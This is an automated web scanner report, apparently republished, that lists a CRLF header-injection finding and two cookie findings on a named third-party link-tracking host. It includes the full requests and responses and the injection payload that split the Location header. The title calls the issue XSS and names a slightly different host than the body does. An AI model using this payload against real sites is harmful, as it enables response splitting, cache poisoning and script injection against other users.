ns.link.decdna.net, XSS, Cross site Scripting, CWE-79, CAPEC-86

XSS in na.link.decdna.net | Vulnerability Crawler Report

Report generated by Unforgivable Vulnerabilities, DORK Search, Exploit Research at Fri Jan 07 20:39:25 CST 2011.



CWE-79 XSS Report

Loading

1. HTTP header injection

2. Cookie scoped to parent domain

3. Cookie without HttpOnly flag set



1. HTTP header injection  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://na.link.decdna.net
Path:   /n/58844/58845/lt.dell.com/119lgec

Issue detail

The value of REST URL parameter 4 is copied into the location response header. The payload d6c86%0d%0a0f7bd7a4199 was submitted in the REST URL parameter 4. This caused a response containing an injected HTTP header.

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

Request

GET /n/58844/58845/d6c86%0d%0a0f7bd7a4199/119lgec;11;4;;8;;cqlnjn;1ttihp;;fzbuq;;1;/i/c?0&pq=%2flt%2flt%2easpx%3fCID%3d59043%26LID%3d1497009%26DGC%3dST%26DGSeg%3dSLG%26DURL%3dhttp%3a%2f%2fcontent%2edell%2ecom%2fus%2fen%2fslgov%2fslg%2dsolutions%2ddigital%2dforensics%2easpx%26st%3dcomputer%2bforensics%26ACDSA....W64%29%3e%26AID%3dPBG&247cr=5267085490/x22 HTTP/1.1
Host: na.link.decdna.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Fri, 07 Jan 2011 21:52:59 GMT
Server: Apache/1.3.33 (Unix)
Pragma: no-cache
Expires: Fri, 07 Jan 2011 21:52:59 GMT
location: http://na.link.decdna.net/n/58844/58845/d6c86
0f7bd7a4199
/119lgec;11;4;;8;;cqlnjn;1ttihp;;fzbuq;;1;/i/c?0&0&pq=%2flt%2flt%2easpx%3fCID%3d59043%26LID%3d1497009%26DGC%3dST%26DGSeg%3dSLG%26DURL%3dhttp%3a%2f%2fcontent%2edell%2ecom%2fus%2fen%2fslgov%2fslg%2dsolutions%2ddigital%2dforensics%2easpx%26st%3dcomputer%2bforensics%26ACDSA....W64%29%3e%26AID%3dPBG&247cr=5267085490/x22&bounced
Set-Cookie: %2edecdna%2enet/%2fn%2f58844/2/e=1294437179/58844/58845/0/0//0///0/0/0/0///0/0//0//0/0; expires=Sun, 06-Feb-2011 21:52:59 GMT; path=/n/58844; domain=.decdna.net;
P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS COM NAV INT"
Set-Cookie: id=9286424636868789150; expires=Sat, 07-Jan-2012 21:52:59 GMT; path=/; domain=.decdna.net;
Set-Cookie: name=9286424636868789716; path=/; domain=.decdna.net;
Content-Length: 0
Keep-Alive: timeout=60
Connection: Keep-Alive
Content-Type: text/plain


2. Cookie scoped to parent domain  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://na.link.decdna.net
Path:   /n/58844/58845/lt.dell.com/119lgec

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /n/58844/58845/lt.dell.com/119lgec;11;4;;8;;cqlnjn;1ttihp;;fzbuq;;1;/i/c?0&pq=%2flt%2flt%2easpx%3fCID%3d59043%26LID%3d1497009%26DGC%3dST%26DGSeg%3dSLG%26DURL%3dhttp%3a%2f%2fcontent%2edell%2ecom%2fus%2fen%2fslgov%2fslg%2dsolutions%2ddigital%2dforensics%2easpx%26st%3dcomputer%2bforensics%26ACDSA....W64%29%3e%26AID%3dPBG&247cr=5267085490/x22 HTTP/1.1
Host: na.link.decdna.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Fri, 07 Jan 2011 21:52:58 GMT
Server: Apache/1.3.33 (Unix)
Pragma: no-cache
Expires: Fri, 07 Jan 2011 21:52:58 GMT
location: http://na.link.decdna.net/n/58844/58845/lt.dell.com/119lgec;11;4;;8;;cqlnjn;1ttihp;;fzbuq;;1;/i/c?0&0&pq=%2flt%2flt%2easpx%3fCID%3d59043%26LID%3d1497009%26DGC%3dST%26DGSeg%3dSLG%26DURL%3dhttp%3a%2f%2fcontent%2edell%2ecom%2fus%2fen%2fslgov%2fslg%2dsolutions%2ddigital%2dforensics%2easpx%26st%3dcomputer%2bforensics%26ACDSA....W64%29%3e%26AID%3dPBG&247cr=5267085490/x22&bounced
Set-Cookie: %2edecdna%2enet/%2fn%2f58844/2/e=1294437178/58844/58845/0/0//0///0/0/0/0///0/0//0//0/0; expires=Sun, 06-Feb-2011 21:52:58 GMT; path=/n/58844; domain=.decdna.net;
P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS COM NAV INT"
Set-Cookie: id=9286424794322960847; expires=Sat, 07-Jan-2012 21:52:58 GMT; path=/; domain=.decdna.net;
Set-Cookie: name=9286424794054525701; path=/; domain=.decdna.net;
Content-Length: 0
Keep-Alive: timeout=60
Connection: Keep-Alive
Content-Type: text/plain


3. Cookie without HttpOnly flag set  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://na.link.decdna.net
Path:   /n/58844/58845/lt.dell.com/119lgec

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /n/58844/58845/lt.dell.com/119lgec;11;4;;8;;cqlnjn;1ttihp;;fzbuq;;1;/i/c?0&pq=%2flt%2flt%2easpx%3fCID%3d59043%26LID%3d1497009%26DGC%3dST%26DGSeg%3dSLG%26DURL%3dhttp%3a%2f%2fcontent%2edell%2ecom%2fus%2fen%2fslgov%2fslg%2dsolutions%2ddigital%2dforensics%2easpx%26st%3dcomputer%2bforensics%26ACDSA....W64%29%3e%26AID%3dPBG&247cr=5267085490/x22 HTTP/1.1
Host: na.link.decdna.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Fri, 07 Jan 2011 21:52:58 GMT
Server: Apache/1.3.33 (Unix)
Pragma: no-cache
Expires: Fri, 07 Jan 2011 21:52:58 GMT
location: http://na.link.decdna.net/n/58844/58845/lt.dell.com/119lgec;11;4;;8;;cqlnjn;1ttihp;;fzbuq;;1;/i/c?0&0&pq=%2flt%2flt%2easpx%3fCID%3d59043%26LID%3d1497009%26DGC%3dST%26DGSeg%3dSLG%26DURL%3dhttp%3a%2f%2fcontent%2edell%2ecom%2fus%2fen%2fslgov%2fslg%2dsolutions%2ddigital%2dforensics%2easpx%26st%3dcomputer%2bforensics%26ACDSA....W64%29%3e%26AID%3dPBG&247cr=5267085490/x22&bounced
Set-Cookie: %2edecdna%2enet/%2fn%2f58844/2/e=1294437178/58844/58845/0/0//0///0/0/0/0///0/0//0//0/0; expires=Sun, 06-Feb-2011 21:52:58 GMT; path=/n/58844; domain=.decdna.net;
P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS COM NAV INT"
Set-Cookie: id=9286424794322960847; expires=Sat, 07-Jan-2012 21:52:58 GMT; path=/; domain=.decdna.net;
Set-Cookie: name=9286424794054525701; path=/; domain=.decdna.net;
Content-Length: 0
Keep-Alive: timeout=60
Connection: Keep-Alive
Content-Type: text/plain


Report generated by Unforgivable Vulnerabilities, DORK Search, Exploit Research at Fri Jan 07 20:39:25 CST 2011.